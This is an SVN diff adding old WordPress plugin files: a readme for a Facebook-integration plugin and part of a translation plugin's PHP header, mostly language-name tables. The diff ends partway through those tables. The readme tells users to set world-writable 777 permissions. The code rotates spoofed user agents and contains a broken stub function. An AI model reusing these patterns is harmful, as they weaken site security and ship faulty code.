===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/readme.txt	(revision 44)
@@ -0,0 +1,31 @@
+=== Wordbook ===
+Contributors: cvele
+Donate link: http://wordbook.ferdinand.rs/
+Tags: comments, posts, aggregation, facebook, social, gallery
+Requires at least: 2.6.2
+Tested up to: 2.6.2
+Stable tag: 0.47.6
+
+Wordbook is Wordpress plugin designed to integrate Facebook in your blog and your blog into Facebook.
+
+== Description ==
+<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script>
+<strong>Wordbook is Wordpress plugin designed to integrate Facebook in your blog and your blog into Facebook.</strong>
+
+Some of the features include Facebook gallery widget,blog posts appear on Facebook Mini-Feed, display almost anything from your Facebook account to your blog.
+This is Facebook and Wordpress only plugin, it will not be extended to other social network sites or other blogging software.
+
+== Installation ==
+
+1. Unpack tarball
+2. Upload wordbook folder to /wp-content/plugins/
+3. Chmod /wp-content/plugins/wordbook/cache/ and /wp-content/plugins/wordbook/phpthumb/cache/ to 777
+4. Activate the plugin from Wordbress interface
+
+== Features ==
+
+1. Facebook Gallery Widget
+2. Facebook Photo tagging
+3. New Posts in Facebook Mini-Feed
+4. New Comments in Facebook Mini-Feed
+5. Facebook Account Info
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/global-translator/header.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/global-translator/header.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/global-translator/header.php	(revision 44)
@@ -0,0 +1,2315 @@
+<?php
+
+
+$gltr_ua = array(
+"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9b5)",
+"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1)",
+"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1)",
+"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)",
+"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us)",
+"Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.2)",
+"Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2)",
+"Mozilla/5.0 (Windows; U; Win98; en-US; rv:x.xx)",
+"Mozilla/5.0 (Windows; U; Win9x; en; Stable)",
+"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5)",
+"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.x.x)",
+"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.xx)",
+"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.xxx)",
+"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b5)",
+"Mozilla/5.0 (Windows; U;XMPP Tiscali Communicator v.10.0.1; Windows NT 5.1; it; rv:1.8.1.3)",
+"Mozilla/5.0 (X11; Linux i686; U;rv: 1.7.13)",
+"Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18)",
+"Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6)",
+"Mozilla/5.0 (X11; U; Linux i686; en-US; Nautilus/1.0Final)",
+"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3)",
+"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2b)",
+"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6)",
+"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7)",
+"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1)",
+"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)",
+"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9a8)",
+);
+
+
+function gltr_get_flag_image_path($language) {
+  return dirname(__file__) . '/flag_' . $language . '.png';
+}
+
+function gltr_get_flag_image($language) {
+  //thanks neanton!
+  $path = strstr(realpath(dirname(__file__)), 'wp-content');
+  $path = str_replace('\\', '/', $path);
+  return get_settings('siteurl') . '/' . $path . '/flag_' . $language . '.png';
+}
+
+function gltr_get_flags_image() {
+  $path = strstr(realpath(dirname(__file__)), 'wp-content');
+  $path = str_replace('\\', '/', $path);
+  return get_settings('siteurl') . '/' . $path . '/gltr_image_map.png';
+}
+
+
+function gltr_sitemap_plugin_detected(){
+	if (function_exists('get_plugins')){
+		$all_plugins = get_plugins();
+		foreach( (array)$all_plugins as $plugin_file => $plugin_data) {
+			if ($plugin_file == 'google-sitemap-generator/sitemap.php'||$plugin_file == 'sitemap.php') return true;
+		}
+		return false;
+	} else
+		return true;
+}
+
+function gltr_create_file($datafile){
+	$success = true;
+	if (!file_exists($datafile)){
+      if (($handle = @fopen($datafile, "wb")) === false) return false;
+	    if ((@fwrite($handle, '')) === false) return false;
+      @fclose($handle);
+	} 
+	return true;
+}
+
+if (!function_exists('file_get_contents')) {
+	function file_get_contents($filename, $incpath = false, $resource_context = null) {
+		if (false === $handle = fopen($filename, 'rb', $incpath)) {
+			return false;
+		}
+		if ($fsize = @filesize($filename)) {
+			$buf = fread($handle, $fsize);
+		} else {
+			$buf = '';
+			while (!feof($handle)) {
+				$buf .= fread($handle, 8192);
+			}
+		}
+		fclose($handle);
+		return $buf;
+	}	
+}
+if(!class_exists("gltr_translation_engine")) {
+	class gltr_translation_status {
+		
+		var $_status;
+		var $_last_connection_time;
+		
+		function gltr_translation_status() {
+			$exists = get_option("gltr_translation_status");
+			if($exists === false){ 
+				add_option("gltr_translation_status","");
+			}
+			$this->save();
+		}
+		
+		function save() {
+			update_option("gltr_translation_status",$this);		
+		}		
+
+		function load() {
+			$status = @get_option("gltr_translation_status");
+			if(is_a($status,"gltr_translation_status")) return $status;
+			else return null;	
+		}
+			
+    function save_status($status){
+    	$this->_status = $status;
+    	$this->save();
+    }
+
+    function get_status(){
+    	return $this->_status;
+    }
+		
+    function save_last_connection_time($last_connection_time){
+    	$this->_last_connection_time = $last_connection_time;
+    	$this->save();
+    }
+
+    function get_last_connection_time(){
+    	return $this->_last_connection_time;
+    }
+		
+
+	}
+
+}
+
+
+if(!class_exists("gltr_translation_engine")) {
+	class gltr_translation_engine {
+		var $_name;
+
+		var	$_base_url;
+
+		var $_links_pattern;
+
+		var $_links_replacement;
+
+		var $_languages_matrix;
+
+		var $_available_languages;
+
+		function gltr_translation_engine(
+			$name,
+			$base_url,
+			$links_pattern,
+			$links_replacement,
+			$languages_matrix,
+			$available_languages) {
+	      $this->set_name($name);
+        $this->set_base_url($base_url);
+        $this->set_links_pattern($links_pattern);
+        $this->set_links_replacement($links_replacement);
+        $this->set_languages_matrix($languages_matrix);
+        $this->set_available_languages($available_languages);
+		}
+
+    function set_name($name){
+    	$this->_name = (string)$name;
+    }
+
+		function set_base_url($base_url){
+    	$this->_base_url = (string)$base_url;
+    }
+
+		function set_links_pattern($links_pattern){
+    	$this->_links_pattern = (array)$links_pattern;
+    }
+
+		function set_links_replacement($links_replacement){
+    	$this->_links_replacement = (string)$links_replacement;
+    }
+
+		function set_languages_matrix($languages_matrix){
+    	$this->_languages_matrix = (array)$languages_matrix;
+    }
+
+		function set_available_languages($available_languages){
+    	$this->_available_languages = (array)$available_languages;
+    }
+
+    function get_name(){
+    	return $this->_name;
+    }
+
+		function get_base_url(){
+    	return $this->_base_url;
+    }
+
+		function get_links_pattern(){
+    	return $this->_links_pattern;
+    }
+
+		function get_links_replacement(){
+    	return $this->_links_replacement;
+    }
+
+		function get_languages_matrix(){
+    	return $this->_languages_matrix;
+    }
+
+		function get_available_languages(){
+    	return $this->_available_languages;
+    }
+
+    function decode_lang_code($res)
+    {
+      if ($this->_name == 'promt') {
+        if ($res == 'es') $res = 's';
+        else if ($res == 'de') $res = 'g';
+        else $res = substr($res, 0, 1);
+      } else if ($this->_name == 'freetransl') {
+        $map = array(
+      	  'en'    => 'English',
+      	  'es'    => 'Spanish',
+      	  'fr'    => 'French',
+      	  'de'    => 'German',
+      	  'it'    => 'Italian',
+      	  'nl'    => 'Dutch',
+      	  'pt'    => 'Portuguese',
+      	  'no'    => 'Norwegian');
+     	  $res = $map[$res];
+      }
+      return $res;
+    }
+    
+    function build_clean_link($matches){
+    	$res = "href=";
+    	foreach($this->_match_id as $key=>$val){
+    		
+    	}
+			return urldecode();
+		}
+
+	}
+}
+
+$googleEngine = new gltr_translation_engine(
+	'google',
+	//'http://translate.google.com/translate?hl=en&ie=UTF-8&oe=UTF-8&langpair=${SRCLANG}|${DESTLANG}&u=${URL}&prev=/language_tools',
+	'http://translate.google.com/translate?hl=en&sl=${SRCLANG}&tl=${DESTLANG}&u=${URL}',
+   array(
+    "/(src)=([^>]*)u=(.*?)&amp;([^#|>]*)([#]{0,1}[^>]*)/i",
+    "/(src)=([^\s]*)u=(.*?)&amp;([^\s|#]*)([#]{0,1}[^\s]*)/i",
+    "/(href)=([^>]*)u=(.*?)&amp;([^#|>]*)([#]{0,1}[^>]*)/i",
+    "/(href)=([^\s]*)u=(.*?)&amp;([^\s|#]*)([#]{0,1}[^\s]*)/i",
+    "/(src)=([']{1}[^']*)u=(.*?)&amp;([^'|#]*)([#]{0,1}[^']*)[']{1}/i",
+		"/(src)=([\"]{1}[^\"]*)u=(.*?)&amp;([^\"|#]*)([#]{0,1}[^\"]*)[\"]{1}/i",
+    "/(href)=([']{1}[^']*)u=(.*?)&amp;([^'|#]*)([#]{0,1}[^']*)[']{1}/i",
+    "/(href)=([\"]{1}[^\"]*)u=(.*?)&amp;([^\"|#]*)([#]{0,1}[^\"]*)[\"]{1}/i"
+	),
+	"href=\"\\1\" ",
+	array(
+  'it'    => array( 'it'=>'Italiano',
+                    'ar'=>'Arabo',
+                    'bg'=>'Bulgaro',
+                    'ca'=>'Catalano',
+                    'zh-CN'=>'Cinese (Semplificato)',
+                    'zh-TW'=>'Cinese (Tradizionale)',
+                    'hr'=>'Croato',
+                    'cs'=>'Ceco',
+                    'da'=>'Danese',
+                    'nl'=>'Olandese',
+                    'en'=>'Inglese',
+                    'tl'=>'Filippino',
+                    'fi'=>'Finlandese',
+                    'fr'=>'Francese',
+                    'de'=>'Tedesco',
+                    'el'=>'Greco',
+										'iw'=>'Ebraico',
+                    'hi'=>'Hindi',
+										'id'=>'Indonesiano',
+                    'ja'=>'Giapponese',
+                    'ko'=>'Coreano',
+										'lv'=>'Lettone',
+										'lt'=>'Lituano',
+    								'no'=>'Norvegese',
+                    'pl'=>'Polacco',
+                    'pt'=>'Portoghese',
+                    'ro'=>'Rumeno',
+                    'ru'=>'Russo',
+										'sr'=>'Serbo',
+										'sk'=>'Slovacco',
+										'sl'=>'Sloveno',
+                    'es'=>'Spagnolo',
+                    'sv'=>'Svedese',
+                    'uk'=>'Ucraino',
+                    'vi'=>'Vietnamita',
+                    'sq'=>'Albanese',
+								    'et'=>'Estone',
+								    'gl'=>'Galician',
+								    'mt'=>'Maltese',
+								    'th'=>'Tailandese',
+								    'tr'=>'Turco',
+								    'hu'=>'Ungherese'
+                    ),
+  'ko'    => array( 'ko'    => 'Korean',
+									  'it'    => 'Italian',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=> 'Bulgarian',
+								    'cs'		=> 'Czech',
+								    'hr'		=> 'Croat',
+								    'da'		=> 'Danish',
+								    'fi'		=> 'Finnish',
+								    'hi'		=> 'Hindi',
+								    'pl'		=> 'Polish',
+								    'ro'		=> 'Rumanian',
+								    'sv'		=> 'Swedish',
+    								'no'		=> 'Norwegian',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'zh-CN' => array( 'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=> 'Bulgarian',
+								    'cs'		=> 'Czech',
+								    'hr'		=> 'Croat',
+								    'da'		=> 'Danish',
+								    'fi'		=> 'Finnish',
+								    'hi'		=> 'Hindi',
+								    'pl'		=> 'Polish',
+								    'ro'		=> 'Rumanian',
+								    'sv'		=> 'Swedish',
+    								'no'		=> 'Norwegian',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'pt'    => array( 'pt'    => 'Português',
+									  'it'    => 'Italiano',
+									  'ko'    => 'Coreano',
+									  'zh-CN' => 'Chinês (simplificado)',
+                    'zh-TW' => 'Chinês (Traditional)',
+                    'en'    => 'English',
+									  'de'    => 'Alemâo',
+									  'fr'    => 'Francês',
+									  'es'    => 'Espanhol',
+									  'ja'    => 'Japonês',
+									  'ar'    => 'Árabe',
+									  'ru'		=> 'Russo',
+									  'nl'		=> 'Holandês',
+								    'bg'		=>'Búlgaro',
+								    'cs'		=>'Tcheco',
+								    'hr'		=>'Croata',
+								    'da'		=>'Dinamarquês',
+								    'fi'		=>'Finlandês',
+								    'hi'		=>'Hindu',
+								    'pl'		=>'Polonês',
+								    'ro'		=>'Romeno',
+								    'sv'		=>'Sueco',
+								    'el'		=>'Grego',
+    								'no'		=>'Norueguês',
+								    'ca'    => 'Catalão',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebreu',
+								    'id'		=> 'Indonésio',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lituano',
+								    'sr'		=> 'Sérvio',
+								    'sk'		=> 'Slovaco',
+								    'sl'		=> 'Slovênio',
+								    'uk'		=> 'Ucraniano',
+								    'vi'		=> 'Vietnamita',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'en'    => array( 'en'    => 'English',
+									  'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'sv'		=>'Swedish',
+    								'no'		=>'Norwegian',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'de'    => array( 'de'    => 'German',
+									  'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'sv'		=>'Swedish',
+    								'no'		=>'Norwegian',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+									),
+  'fr'    => array( 'fr'    => 'French',
+									  'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'sv'		=>'Swedish',
+    								'no'		=>'Norwegian',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'es'    => array( 'es'    => 'Spanish',
+									  'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'sv'		=>'Swedish',
+    								'no'		=>'Norwegian',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'ja'    => array( 'ja'    => 'Japanese',
+									  'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'sv'		=>'Swedish',
+    								'no'		=>'Norwegian',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'ar'    => array( 'ar'    => 'Arabic',
+									  'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'sv'		=>'Swedish',
+    								'no'		=>'Norwegian',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'ru'    => array( 'ru'		=> 'Russian',
+									  'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'sv'		=>'Swedish',
+    								'no'		=>'Norwegian',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'el'    => array( 'el'		=>'Greek',
+    								'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'sv'		=>'Swedish',
+								    'no'		=>'Norwegian',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'nl'    => array( 'nl'		=> 'Dutch',
+								    'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'sv'		=>'Swedish',
+    								'no'		=>'Norwegian',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'bg'    => array( 'bg'		=>'Bulgarian',
+								    'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'sv'		=>'Swedish',
+    								'no'		=>'Norwegian',
+								    'ca'    => 'Catalan',
